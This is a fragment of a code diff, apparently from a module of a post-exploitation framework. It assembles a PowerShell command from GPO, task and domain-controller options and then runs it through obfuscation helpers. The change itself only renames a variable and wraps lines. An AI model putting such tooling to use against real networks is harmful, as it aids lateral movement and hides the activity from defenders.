197 | if option.lower() in ["taskname", "taskdescription", "taskauthor", "gponame", "gpodisplayname", | |
198 | "domain", "domaincontroller"]: | |
177 | 199 | if values['Value'] and values['Value'] != '': |
178 | 200 | if values['Value'].lower() == "true": |
179 | 201 | # if we're just adding a switch |
181 | 203 | else: |
182 | 204 | script += " -" + str(option) + " '" + str(values['Value']) + "'" |
183 | 205 | |
184 | script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' | |
206 | script += ' | Out-String | %{$_ + \"`n\"};"`n' + str(module_name) + ' completed!"' | |
185 | 207 | |
186 | 208 | if obfuscate: |
187 | script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) | |
209 | script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, | |
210 | obfuscationCommand=obfuscationCommand) | |
188 | 211 | script = helpers.keyword_obfuscation(script) |
189 | 212 | |
190 | 213 | return script |